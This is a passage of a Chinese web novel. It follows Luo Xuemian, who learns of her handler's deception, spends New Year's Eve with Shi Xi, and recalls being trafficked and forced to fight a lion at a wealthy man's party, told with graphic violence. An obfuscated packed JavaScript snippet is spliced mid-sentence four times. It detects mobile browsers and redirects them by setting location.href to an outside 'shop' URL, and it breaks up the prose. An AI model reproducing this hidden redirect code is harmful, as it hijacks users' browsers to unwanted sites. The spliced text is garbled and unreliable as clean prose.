洛雪眠的脸色蓦地沉了下来。 “这一起暗杀事件是昨天晚上发生的,死掉的男人姓余,是不夜城的四大监管者之一,位高权重,为了不引起内乱,监察长在得知消息后便将对方的死讯压了下来。” 时间紧迫,魏白说话的语速很快,“监察长让我通知你,目前这个叫哈里的家伙杀人动机不明,他施展的异能也很诡异,你在那边行事小心些,有机会试探一下他的异能到底是什么,但别跟对方起正面冲突。” “还有,你上次交给我们做检测的药液,结果已经出来了,确实是能够治疗分化缺陷的SB药剂,不过,这种SB药剂跟以往正常的SB药剂却有些不同,我们怀疑那是……” 洛雪眠忽然打断他的话,轻声开口:“是终生时效性的SB药剂半成品,对吗?” 魏白闻言愣了下,眼里闪过一丝惊骇,“你怎么知道的?” 洛雪眠直勾勾地盯着魏白的眼睛,半晌过后,她语气幽幽地说:“魏白,骗我很好玩吗?” 魏白的身体僵了一下。 洛雪眠走到魏白跟前,望着他,一字一句缓缓说道: “你们从一开始就在欺骗我,能够让暗网如此疯狂想要摧毁的,根本就不是什么终生时效性的SB药剂,这玩意压根就没有被成功研制出来,天子大楼里真正拍卖的,分明就是我们当年从深渊研究所里抓获的实验体,就连与暗网勾结的官员名单也不过是你们为了掩盖真相扯的幌子罢了。” 当年,深渊研究所在被摧毁后,抓获到的大量实验体全部被送往了第一研究所,美名其曰是在那里进行合法统一的监管,但谁都知道,具有优异战斗能力和强大治愈能力的实验体,每一个都是价值不菲的人形战斗武器。第一研究所得到了这么多实验体,相当于掌握了一张无限额的空头支票。 “……” 魏白一直保持着缄默,一言不发。 也许他早就料到了洛雪眠会有得知真相的这一天。 洛雪眠只觉得可笑,心底涌上来更多的是被曾经最信任的人欺瞒的失望。 沉寂良久,魏白呼了口气,艰涩开口: “不管你信不信,我从来都没有想过要害你。” 20. 过往 两人之间陷入了一片静默中。 洛雪眠叹了口气,没有再跟魏白计较,把哈里他们秘密进行深渊怪物研究的事情告知了他。 繁华的街道上,处处张灯结彩,洋溢着新年的喜气,洛雪眠站在来来往往的人群中,心里觉得有些落寞,长睫垂落,正盯着地面发呆,视野里忽然出现了一串白色的棉花糖。 她惊讶抬头,意外撞进了时希如水般温柔的眼眸中。 时希将手里的棉花糖递给她,柔声询问,“怎么了?不开心?” 洛雪眠微怔,看了眼手里的棉花糖,又望向时希,一时无言,不知道该说些什么。 时希微微一笑,没有再问,而是轻声说道:“阿狸,把手伸出来。” 洛雪眠不明所以,但还是乖乖照做,纤细白嫩的手掌向上,她以为时希会像之前一样在上面放一颗糖果,谁知他竟从身后拿出了一个粉红色小猪气球,并把气球的绳子绑在了她的手腕上。 时希看着飘在半空的气球,满意地笑道:“这样就不会走散了,有了这个气球,不管你走到哪里,我都能找到你。” 洛雪眠呆立原地,她的右手拿着松软的棉花糖,左手绑着一只憨态可掬的小猪气球,加上时希出众的相貌,引得路过的行人纷纷侧目。 她原本以为时希会问她这么长的时间去了哪里,或者责怪她问什么不呆在原地等他。 然而都没有,时希的脸上没有一丝一毫的不悦,也没有任何要责怪她的意思,他的嘴角永远挂着清浅和煦的微笑,看向她的目光永远温柔平和。 洛雪眠的心软得一塌糊涂。 两人在街上漫步闲逛,时希走在洛雪眠的身旁,伸出一只手虚护在她身后,以防她被匆忙经过的人撞到。 临近午夜,街上人头攒动,两人寻了一处人较少的地方,安静等待新年的钟声敲响。 洛雪眠的目光越过密集的人群,望向远处的大屏幕,与等待跨年眼中满是期待的人不同,她的目光平淡,思绪飘远…… 其实这是洛雪眠第一次在如此热闹喧嚣的地方,跟这么多的人一起跨年,显得有些拘谨,格格不入。 洛雪眠和其他的孩子不太一样,在同龄的孩子还在父母的怀抱里撒娇闹脾气的时候,她的整个童年乃至青少年时期的大部分时间都是在训练场上度过的。每天一睁开眼,等待她的都是无休无止,严苛到极致的训练。 这样的日子她过了十六年,枯燥乏味,没有任何乐趣可言,那个时候,她的人生字典里只有两个字。 变强。 不惜一切代价地变强。 十六岁之后,她被送到了军事基地,加入了王牌部队,遇到了一群有趣的人,幸运地过了几年快乐洒脱的日子,但老天爷似乎看不得她过得好,一次围剿行动,一场深渊异兽潮暴动,摧毁了她所拥有的一切。 时希一直在留意洛雪眠,看到她眼中流露出的伤感,柔声问她:“阿狸,你在想什么?” 洛雪眠收起心底的思绪,对时希摇了摇头。对面马路上,一块巨大的电子荧幕正在播放倒计时—— 十、九、八、七…… 三。 二。 一。 当新年的钟声敲响,漫天的烟花绚丽绽放,周围的人齐声欢呼,时希的眼眸被烟火浸染,盛满了璀璨的光,他面带微笑,微微附身,凑到洛雪眠的耳边。 周遭的一切仿佛被静止,洛雪眠怔怔地望着离自己越来越近的时希,时光在这一刻定格,她听见时希在她耳边轻声呢喃: “阿狸,新年快乐。” ** 回去的路上,两人手上的东西多得快拿不了,洛雪眠还沉浸在方才暧昧的氛围中无法自拔,一不留神,身旁蹿出了一个瘦猴似的身影,将洛雪眠手中的棉花糖夺下跑走。 洛雪眠望着空空如也的右手,瞬间面色一沉,还不等时希出声劝阻,转身便追了出去。 那抢东西的小偷跑得极快,狡猾地专门往人多的地方跑,洛雪眠蹙眉,街上人太多,她不想引起骚动,只能一边躲避行人,一边捕捉那人的身影,只觉得有点眼熟,似乎在哪里见过。 张小天手里攥着抢来的棉花糖,逃到了一处僻静的小巷子里,他见身后没有人追过来,一边撕咬着棉花糖,一边往住的地方走。 谁知刚走了没两步,一旁的暗墙边上突然冒出了一个笑吟吟的女声。 “好吃吗?” 张小天陡然一惊,慌忙往声音传来方向看去,只见原本被他甩在身后的洛雪眠,无声无息地跟了上来,正面无表情地看着他。 “你……怎么是你?!”张小天在看清洛雪眠的脸后,心里暗叫倒霉。 洛雪眠微微挑眉,上下打量了一眼张小天,忽然回忆起来,这人就是那天抢侯六母亲项链,被她小小惩戒过的小屁孩。 张小天见洛雪眠抱着胳膊,一步步朝他不断靠近,吓得一个激灵,腿微微发抖,“你你你别过来,我告诉你,我们大哥就在这附近,他可是C级异能者,你小心吃不了兜着走。” “呵。”洛雪眠冷笑,不以为意道:“那你叫他过来呀,我倒要看看,你口中的这个大哥有什么本事,能让我吃不了兜着走。” 张小天一听这话,心里拔凉,知道洛雪眠是个不好对付的。 “小子,你是吃了雄心豹子胆,居然敢抢我的东西。” 张小天咽了口唾沫,眼见洛雪眠冷着张脸就要走到他跟前,他神情慌乱,忽然瞥见洛雪眠身后,面色一喜,高声呼喊:“大哥,我在这,快救我。” 刘忙见底下新收的小弟半天没回,担心出了什么事,便出门寻人,谁知竟然真的让他撞见小弟被人欺负,心里顿时火冒三丈,三步并作两步冲过来,沉声道:“哪里来的毛丫头,敢在我的地盘上撒野。” 洛雪眠在听见这个声音后,嘴角泛起一丝冷笑,慢悠悠回头。 待看清欺负自家小弟的人居然是洛雪眠后,刘忙脚步一顿,脸色剧变,心中惊骇不已,心里懊悔不已自己出门没看黄历,招惹上这么个祖宗,拔腿便要丢下小弟自个跑路,却被洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298012|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪眠一个闪身截住。 洛雪眠哼笑一声,凉凉开口:“刘忙,我是鬼吗?见到我就跑。” 刘忙心里哀嚎,姑奶奶您可比鬼吓人多了。 但他可不敢说出来,满是横肉的脸上努力堆出讨好的笑:“洛、洛姐,真巧呀,居然在这儿都能遇上。” “巧吗?”洛雪眠“唔”了一声,朝张小天微抬下颌,慢条斯理地说:“那小屁孩抢了我一样非常珍贵的东西,逃到了这里,现在东西没了,既然你是他老大,说吧,要怎么赔。” 洛雪眠说话的语气心平气和,但刘忙可是见识过入狱前的洛雪眠有多恐怖。 他心里咯噔一声,先是恶狠狠瞪了一眼给自己惹麻烦的张小天,随后转向洛雪眠,笑得比哭还难看,颤颤巍巍询问:“洛姐,他抢了您啥东西?你放心,就算是砸锅卖铁咱都会把东西赔给您的。” “一根棉花糖。”洛雪眠淡声说。 刘忙原本以为洛雪眠被抢的东西是类似传家宝一样的贵重物品,一听居然只是一根棉花糖,表情空白了几秒。 “……哈?!” ** 刘忙把洛雪眠带到了自己的藏身之地。 那是几块破瓦搭建的破棚子,十分简陋,既不能遮风也不能挡雨,棚子下杂物堆里,几个衣不蔽体的小孩子像小猫似的窝在一起取暖,见到刘忙等人回来,喜出望外,纷纷起身跑了过来。 几个孩子围着刘忙,像饿了许久嗷嗷待哺的幼崽,用满是期望的眼神望着他。其中有一个小女孩,满脸脏污,瘦骨嶙峋,眼睛像黑葡萄似的,圆溜溜的,怯生生地看着走进来的洛雪眠。 刘忙站在孩子们中间,两手空空,心里愧疚不已。 洛雪眠倚靠在门口的柱子上,脸上也没有多余的表情,只是招手喊了张小天过去。 张小天在洛雪眠那儿吃过亏,心里发怵,踌躇着不敢动,洛雪眠没了耐心,自己走了过去,将之前和时希逛街的时候买的一袋零食随手丢给了他。 张小天手忙脚乱接过袋子,见到里面装了满满一袋吃的,傻了眼,再抬头的时候,洛雪眠已经走了出去。 棚子里传来孩子们见到食物的惊呼声,洛雪眠抬头望天,缓缓吐出了一口气。 刘忙从棚子里面出来,搓着手有些不好意思地道谢。 “那个,洛姐,今天谢谢了,您的大恩大德,我们以后一定会报答的。” 洛雪眠瞥了棚里一眼,孩子们开心地吃着零食,嘴巴沾满了碎屑,淡声问道:“那些小孩都是孤儿?” 刘忙点头,“都是些没人要的倒霉孩子,我看着可怜,就一快收养了。” 洛雪眠不由得多看了刘忙一眼,倒是没有想到他自己都自身难保了,还想着救助这些孤儿。 “你怎么会出现在这里?凭你的实力也不至于混得这么惨。” 刘忙挠了挠头,憨笑道:“嗐,别提了,刚从国际监狱里逃出来那会儿,本来想着干回老本行,谁知道这些日子港口那边天天戒严,连只苍蝇都别想偷渡过去。” 21. 囚笼 地下城是一座纸醉金迷,容易滋生罪孽与邪恶的不夜之城。 半年多前,东区港口。 刘忙和往常一样,蹲守在码头不远处的隐蔽地,边嗑瓜子边等待约定的货物到港。 穹顶之上的光影转换器不断旋转,光影变换间,夜幕笼罩整座城市,白日的喧嚣落幕,夜晚的歌舞狂欢登场。 夜风徐徐吹来,距离约定的时间已经过了半个多小时,旁边的小弟渐渐露出不耐烦的神色,频频向港口张望。 “虎哥,咱们该不会是被人给放鸽子了吧?” 刘忙的异能属性是老虎,按照道上的规矩,平时的称呼一般不喊真名,刘忙是从偏远贫困山村出来的,在不夜城摸爬滚打,颠沛流离,被欺辱轻视了好些年,才有了如今的地位,收留的几个小弟为了表示尊敬,都喊他“虎哥”,他也欣然接受了。 刘忙瞪了说话的阿柴一眼,“别胡说,再等等。” 刘忙估摸了一下时间,心里也有些没底,这次的买家开出了高价,而且身份不凡,要求务必确保货物万无一失,按时送达。 可都这个点了,送货的人迟迟不来,买家要是没能按时见到货物,恐怕不好交差拿钱。 正心神不安时,远处传来了轮船的鸣笛声,一艘运输货物的小轮船缓缓靠岸,一个精瘦高挑,贼眉鼠眼的白种人从船上跳下来,早已等候多时的刘忙等人立即迎了上去。 核对过了暗号和信物,白种人将货物交接给了刘忙。甲板上,其他人忙着卸货,刘忙往船舱里瞄了一眼,只见里边堆放了好几个等人高的铁笼子,全部用厚重的黑布遮挡,空气中飘来了一股浓郁的血腥气味,隐隐还能听到从某个笼子里传来的呜咽声。 是活物。 在不夜城里,有些嗜好怪异的有钱人钱多得没处花,又不稀罕饲养那些市面上常见的猫啊狗啊的当宠物,为了彰显自己的与众不同,喜欢养些凶猛的大型动物。 刘忙见怪不怪,以为和往常一样,里面关着的无非是些老虎狮子之类的玩意,也就没有太在意。如今这世道,只要能挣到钱填饱肚子,谁还管违不违法,别闹出人命就行。 抱着这样的心态,刘忙也就没有去掀开黑布察看里面的东西,铁笼子被手下几个小弟搬到了一旁的运输车上。 刘忙生得高大魁梧,弯腰给身边的白佬递了根烟,点火的时候忍不住问:“兄弟,这批货怎么到得这么晚?是不是路上出了什么事啊?” 白佬瞟了刘忙一眼,看在他还有些上道的份上,缓缓吐出一口白烟,不以为意说道:“哼,能出什么事,就是有个挺能折腾的,打了强效镇定剂才老实。” 刘忙以为说的是某种动物,也就没有太在意,招呼手下几个人赶紧送货去了。 货车上,刘忙坐在副驾驶上,一边啃包子,一边盘算着还要攒多少钱才能在不夜城买间房,不用太大,能让他和几个小弟有个栖身的地方就行。 正在开车的阿柴偏头看了他一眼,忽然八卦道:“虎哥,我听别人说,咱这次的金主K先生,表面上看德高望重,是个正人君子,慈善捐款公益一条龙,其实全都是伪装,背地里他在那个什么圈子里玩得可花了,要有多变态就有多变态,糟蹋了不少人,你说咱后边拉的那些会不会是……” “闭嘴。”刘忙喝道,“开你的车,哪那么多废话,咱们只管送货,其他的事少管。” “哦。”阿柴悻悻地收住话头,忍不住小声嘟囔,“我就说说而已。” 刘忙的脸色有些不好,心里疑窦丛生,也有些担心,如果真像阿柴这小子说的那样,那他们可摊上大麻烦了,牵涉人口走私贩卖的罪罚可不轻。 刘忙心里开始打退堂鼓,然而一切都太迟了,K先生所住的豪华庄园大别墅已经近在眼前。 刘忙从车上跳下来,惴惴不安地来到了后车厢,面对距离自己最近的一个铁笼,犹豫了许久,才偷偷掀开了黑布的一角。 昏暗的光线下,一个娇弱的女孩安静地坐在铁笼中,纤细的手臂环抱着双膝,脸颊埋在膝盖之上,乌黑的长发遮住了大半张脸,身上的衣裙被鲜血浸染,因为时间太久已经凝固发黑,显得触目惊心。 听到动静,毫无生气的女孩微微一动,迟缓地抬起了头,刹那间,刘忙瞳孔急剧缩紧,呼吸一滞,满脸难以置信。 一张如雪般苍白的小脸之上,汩汩的鲜血从尚未愈合的空洞左眼流下,嘀嗒嘀嗒砸落地面,女孩似乎无知无觉,她仅剩的一只右眼涣散无光没有焦距,如一潭万年死水般,无悲无喜,冰冷至极。 刘忙的太阳穴突突跳个不停,恰好此时,庄园里的管家带着一众保安走了出来,来不及思考,刘忙将手里的最后一个包子丢到了女孩的怀里,随后手忙脚乱把黑布重新拉下,竭力镇定装作无事发生。 “你们怎么来得这么慢,我家主人请来的贵客都已经到了,就等着看今晚的表演呢!”管家一身黑色燕尾服,拄着根拐杖,没好气地训斥刘忙等人。 “周管家,您别生气,都是我们的错,可我们也实在没办法,送货的轮船晚点了,所以就耽搁了,对不住哈,下次我们一定准时。” 刘忙打着哈哈,毕恭毕敬地给周管家鞠了一躬,毕竟钱还没有拿到手,不装孙子都不行。 周管家冷哼一声,没有再理会刘忙,招呼几个保安把车上的铁笼都卸了下来。 “动作快点,错过了今晚的演出,主人发起火来,谁都担待不起。” 一众人高马大的保镖哼哧着合力把几个铁笼搬进了庄园,刘忙低着头跟随周管家去领取今晚跑腿的酬劳,路过那栋灯火明亮的别墅时,远远传来了世家名流们高谈阔论,推杯换盏的欢声笑语。 刘忙想起了刚才在铁笼里看到的那一幕,心里很不是滋味,他知道有些权贵心理变态,以折磨他人为乐,但就算借给他一百个胆子,他也不敢得罪K先生,只能假装什么也没有看见。 这乱世,多管闲事死得快,保住自己的小命要紧。 奢华高调的宴会大厅里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321920|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洛雪眠和其他几个少年少女被推搡着走进了一个专门为供人取乐而设计的小型斗兽场。 高台上,名流们手持高脚杯,杯中猩红的红酒液轻微晃荡,他们的眼里流露出掩盖不住的兴奋光芒。场中的这些少年少女都是为了即将开始的嗜血狂欢而精挑细选准备的品相绝佳的饵料。 位于主位的K先生斯文儒雅,年过四十的他身材保养较好,没有发福臃肿,他的鼻梁上架了一副金丝框眼镜,嘴角噙着得体的笑意,越发显得和蔼可亲,被众心捧月簇拥在人群最中间。 旁边一个举止优雅,眉目精致,手持精美羽扇的红裙女人,望着下方的斗兽场,掩唇轻笑,眼里满含兴味,温声细语问道:“K先生,您觉得今晚的获胜者会是谁?” 此话一出,立即有人调侃道:“蝴蝶夫人,这还用说吗?获胜的当然是K先生的爱宠了,这些低贱的平民哪能跟血统高贵纯正的白金狮王相提并论。” “是呀是呀,那可是狮王,草原上的霸主,凶猛异常,哪里是这些毫无反抗能力的贱民能抵抗得了的。” “再凶猛的野兽,在K先生的调教下,那也得服服帖帖的。” …… 附和声和夸赞声接连响起,周围的人都在积极地拍着K先生的马屁,漂亮话像竹筒倒豆子似的一骨碌倒了出来,层出不穷。 而K先生本人也非常享受这种高高在上被人追捧的氛围,心里也十分笃定场下的贱民会沦为他爱宠今晚的食物。 但蝴蝶夫人却不这么认为。 她的目光越过大半个斗兽场,准确定位在手脚戴了沉重镣铐,被人推搡得踉跄了一下的洛雪眠身上,嘴角缓缓勾起,眼里闪过戏谑和讥诮。 看来要有好戏可以看了。 这群眼高于顶的蠢货还没有意识到自己即将大难临头。 那人可是King。 军区曾经战无不胜,睥睨一切的无冕之王,即使现在落魄憔悴,从万人瞩目的高台跌落至泥潭,也绝不是这群酒囊饭袋可以肆意折辱的对象。 他们倒霉地唤醒了一头蛰伏沉睡的猛兽,却还未察觉。 洛雪眠被身后的保安粗暴地推着往前走,她的唇角抿成了一条直线,脸上无波无澜,像是察觉到了什么,倏然抬头往看台上望去,蝴蝶夫人站立的地方却早已没了人影。 洛雪眠眉心微蹙。 面对高台上投射过来的数道炙热疯狂视线,洛雪眠视若无睹,她站在斗兽场的中央,脊背平直,平静地注视着远处的一道钢筋闸门。 里面一头饥饿暴躁的雄狮正在嘶吼走动,铜铃般大的眼中冒出嗜血的凶光,直勾勾地盯着场中的猎物,涎水从腥臭的狮口中滴落。 身旁其余人都吓得脸色发白,浑身战栗发抖,瘫软在地,甚至有人哭出了声。 只有洛雪眠始终淡漠平静,毫无惧意,她的眉目间透露出一种震慑人心的威严,用沙哑的嗓音淡声吩咐身旁的几人: “到边上待着去,我怕误伤了你们。” 22. 失控 沉重的闸门缓缓升起,斑驳的铁柱上不知沾染了多少无辜之人的鲜血,在岁月的浸透下,已经发黑发臭。 威猛凶悍的雄狮咆哮着冲出了禁锢的牢笼,朝垂涎已久的猎物极速奔来。 斗兽场的中央,身负枷锁的洛雪眠静静站立在原地,不躲也不避。 场上的围观者有人嗤笑,“该不会是被吓傻了吧,都不知道反抗。” “肯定是吓得腿软了走不动道,竟敢一个人单挑饥饿的狮王,就她那没二两肉的小身板,都不够狮王塞牙缝。” “真期待狮王一口咬掉她脑袋的画面,那一定很刺激哈哈哈……” 观看席上传来的嘲讽声刺耳如魔障,洛雪眠在运输途中被打了一针强效镇定剂,坚持到现在没有倒下已经是强弩之末,她的视野已经逐渐涣散,模糊间有些分不清现实与虚幻。 洛雪眠很讨厌这种被诸多不怀好意的视线盯上的感觉,仿佛又回到了从前刺眼灯光照亮整个隔离观察室的日子,异能开始退化的她沦为了研究员的观察对象,密密麻麻的针孔摄像头将观察室的每个角落都监控得死死的。 她虚弱无力地窝在角落,无所遁形,浓浓的疲惫感从灵魂深处涌现,伴随着的是一种深深的、绝望的自我厌弃。 没有人会来救她,也没有人理会她的嘶吼、哀求、痛苦、愤怒。她存在的唯一价值,只剩下了电脑荧幕上呈现的一串串冰冷的实验数据。 她被固定在手术台上,像砧板上的鱼肉,毫无反抗能力。刺鼻的消毒水味弥漫整个手术室,冰冷的刀尖划开她的肌肤,她的眼睛空洞无神,麻木地盯着手术室的天花板和晃动的人影,被迫进行着一次次的血液样本采集…… 那个时候,她快要疯了。 而压倒她的最后一根稻草,是缓缓闭合的手术室外,那个渐行渐远,苍老挺拔的背影,冰冷而无情地将她遗弃。 那一天,她丧失了身为人的权力,被整个世界遗弃。 …… 钝感的剧痛从手臂传来,洛雪眠的右手臂被扑过来的狮王狠狠撕咬下了一大块血肉,血肉模糊的伤口涌出大量的鲜血,顺着指尖滴落地面,形成一小片血洼。 这一幕极具视觉冲击性,躲避在角落边缘的一个双麻花辫姑娘尖叫出声,她满脸惊惧,忽然颤抖着手脱下了脚上的鞋子,在狮王朝洛雪眠再次袭去的时候,勇敢地将手中的鞋子掷了出去,以此吸引狮王的注意。 这并不是什么明智的举动,她甚至会因此丧命,可她做不到眼睁睁看着别人被吃掉却坐视不理,善良的本性驱使着她这么去做。 即使那个脆弱的女孩,她并不认识。 在狮王改变方向,即将朝她扑来的那一刻,这个勇敢的麻花辫姑娘已经做好了面对死亡的决心,那一刹那,她看到了伤痕累累的洛雪眠凝视她的那一眼—— 疑惑、不解、迷茫、挣扎……或许更多,洛雪眠的眼睛里掺杂了太多她看不懂的情绪。 然后,她看见洛雪眠嘴角微微翘起,那是一个苍白而虚弱的笑。 下一秒,长发飞舞,洛雪眠纤弱的身影出现在了麻花辫姑娘的眼前,她抱着狠狠撕咬自己肩膀的雄狮滚落到了一边,麻花辫姑娘甚至能听到强大冲击力下洛雪眠骨骼断裂的脆响。 但洛雪眠似乎感觉不到疼,双手握拳,夹杂着万钧之力的拳头狠命砸下,一拳接着一拳,直至雄狮发出最后濒死的怒吼,血肉模糊倒在了地上一动不动。 场上鸦雀无声,洛雪眠像一头彻底失去理智的困兽,被温热的鲜血刺激,机械地重复着手里的动作,哪怕双手已经血肉模糊,哪怕剧痛席卷全身,也要发泄心中的悲愤和对这个世界不公的报复。 “保安!快、快拉住她,疯子……这就是个女疯子!”惊骇的人群里,K先生最先回神,他愤恨地瞪视着场下杀死自己爱宠的洛雪眠,大声呼唤着手底下的保安。 K先生的保安个个都是攻击性异能者,等级都在C级以上,领头的是个B级,他们闻讯而动,将丧失理智的洛雪眠团团围住。 五光十色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13339932|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的异能开始施展,洛雪眠缓缓起身,她甚至有些站立不稳,微微摇晃的身体彰显着她的虚脱,可她却在放声大笑,肆意的笑声似乎要穿破天花板。 刘忙躲在大门口,不敢置信地看着洛雪眠一个人单挑数十个异能者,人影憧憧间,洛雪眠犹如一头失控嗜血的凶兽,无差别进行攻击。 大厅内一片混乱,不知是谁的胳膊被生生撕下,砸在衣着昂贵的宾客面前,歇斯底里的尖叫声和怒骂声响成一片,洛雪眠一身血色,伫立在一地死寂的保安尸体中,像地狱里索命的恶鬼,狰狞发狂…… 疯子!这是个彻彻底底的疯子!!! 刘忙被眼前可怕的一幕惊呆,艰难地吞咽了口唾沫。双腿颤抖,耳畔传来警笛的长鸣,他才如梦中惊醒般,仓惶逃命。 但已经迟了,大批武装的刑警冲进了别墅,将现场所有人团团包围。 一个修长削瘦的身影从人群里冲出来,一个箭步来到了失控的洛雪眠身前,浅棕色的瞳孔宛若银河般炫目,发出淡紫色的光芒,温柔地凝视着洛雪眠通红充血的眼眸。 在男人的精神异能作用下,洛雪眠失去的神智逐渐回拢,全身强撑的力气瞬间被抽离,缓缓阖上了沉重的眼皮…… 男人眼疾手快,像终于寻回了失去的珍宝般,小心翼翼将伤痕累累的她拥入怀中。 …… 洛雪眠对于入狱前发生的事情,其实已经记不太清了,只记得她受了很严重的伤,胸前肋骨断了六根,左肩膀粉碎性骨折,左眼毁灭性失明,全身上下大大小小的伤口不计其数,但这些都不是最要命的,真正致命的是—— 她的生命如昙花一现般,正在极速衰竭,身上的异能也在不断流失。 曾经有人预言,洛雪眠活不过十八岁,她从不信命,却在十八岁那年付出了惨重的代价印证了这个如影随影的诅咒。 此后三年,她活得如同行尸走肉,对一切都失去了希望,在陷入昏迷的刹那。 她如释重负,心想,终于要解脱了…… 23. 辣眼睛 长夜清风徐徐吹来,拂开了洛雪眠额间的发丝,她不自觉抚摸眼罩,从过往的回忆中回神。 身旁不知何时站了一个瘦弱的小姑娘,怯生生望着她手腕上绑着的粉红色小猪气球,水汪汪的大眼睛里满是喜欢和羡慕。 “二丫,快过来!” 刘忙对于洛雪眠昔日的疯狂还心有余悸,连忙招手示意懵懂的小丫头到他身边去。 洛雪眠自然知道刘忙心中所想,她不以为意,半蹲下身,平视小丫头的眼睛。 “喜欢这个?” 二丫点了点头,又有些不好意思,犹豫了会儿,小声说,“姐姐,我可以摸一下吗?” “可以。”洛雪眠说着,把手腕上绑着的绳子解开,然后把气球牵到小丫头面前,大方道:“喏,气球送给你,但是你要保证好好爱惜它,因为这是很重要的人送的。” 二丫的眼睛亮了亮,用力点头,开心地收下了气球,“谢谢姐姐,我会的。” 洛雪眠起身,身后张小天和其他几个孩子偷偷摸摸躲在门口不敢过来。 洛雪眠瞥了一眼,心里纳闷,她又不是骗小孩的女巫,挖人心的妖怪,至于这么怕她吗? 她郁闷地揉了下小丫头的脑袋,对刘忙说,“你一个人带着这么多孩子东躲西藏也不是办法,我知道有一家福利院,你带着孩子们去那里吧,自己也找个正经的活干。” 洛雪眠把之前自己做义工的那家福利院地址告诉了刘忙,随后便离开了。 走到拐角处,洛雪眠停下脚步,时希从阴影里走出来,她并不意外,笑着问:“来多久了,怎么不过去?” 即使洛雪眠掩饰得再好,时希也敏锐地捕捉到了她细微的情绪变化。 “不开心?” 洛雪眠哑然,怀疑时希在她身上装了情绪检测器。 她无奈摊手,“棉花糖被抢了,小猪气球送人了,现在好了,我的新年礼物一个不剩。” “还有一个,”时希笑笑,虚握的手掌摊开,一颗柠檬糖出现在眼前,温声说:“阿狸,只剩这个了。” 洛雪眠讶异抬睫,先是看向时希仿佛随时随地能掏出糖果的口袋,随后视线上移,定格在时希俊美无比的容颜上。 夜色下,两人目光对视,时希眸光温柔似水,洛雪眠心颤了颤,不自然地别开视线。 伸手拿起糖果,酸甜的柠檬糖在口腔化开,洛雪眠却像含着蜜糖,沉浸在甜蜜的喜悦中不可自拔。 ** 两人回到地下室的时候天已经蒙蒙亮,时希把买的东西放在厨房,挽起衣袖打算做早饭。 洛雪眠一夜没睡,有些困倦,忍不住打了个哈欠,时希回头,轻声劝说:“阿狸,困了就回房间休息吧,这里有我。” 洛雪眠摇头,“我帮你,两个人一起做得快些。” 强打起精神,洛雪眠自觉地给时希打下手,恍惚间没注意手里拿的是什么东西,掰开表皮的时候,辛辣刺激的洋葱味直冲鼻腔,她反应不及,下一秒,被火辣的灼烧感熏得睁不开眼。 时希听到动静,连忙放下手里的活,疾步走到洛雪眠身边,把她带离原地,小心仔细地用清水帮她冲洗眼睛。 “好了,阿狸,睁开眼试试。”时希柔声道。 洛雪眠睫毛动了动,缓缓睁开眼睛,视线仍然模糊,火辣感消减,但还是有点想流泪的冲动,她的眼睛红肿湿润,模样看着有些委屈。 时希皱着眉,眼里闪过心疼,无奈笑着摇头:“阿狸,我真是拿你一点办法也没有。” 洛雪眠低下头,有点心虚,在时希几次委婉的劝慰下,她终于认清了自己只会帮倒忙的现实,离开了小厨房打算回去睡个回笼觉。 路过一处紧闭的房门时,洛雪眠忽然站定,丝丝缕缕的血腥气萦绕鼻尖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370302|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是哈里的房间,他回来了。 洛雪眠暗自思忖,魏白专程跑过来告诉她,哈里不知缘由地杀了不夜城的四大监管者之一,结合那天哈里离开时的反常举动,她推测应该是仇杀。 至于是什么恩怨导致的仇杀,那就不得而知了。 电光火石间,洛雪眠想到了一个人。 她顿时没了睡意,绕了一段路,来到了另一个房间门口。 这是老树懒的房间。 老树懒自从摔伤后住了院,至今都没有痊愈,他的房间也就就空置了。 清晨的走道上清寂无人,洛雪眠从口袋里掏出了一根细铁丝,放在几年前,她对撬锁这种事情肯定是嗤之以鼻,可今时非同往日,在泥潭般的底层生活里摸爬滚打过,切实体会到了谋生的不易,她现在做这事面不改色,得心应手。 咔哒一声,门被打开。 洛雪眠轻轻推来门,悄无声息闪身进去。 环顾一圈,洛雪眠在房间里仔细搜寻,希望能找到一丝蛛丝马迹,但很遗憾,她一无所获。 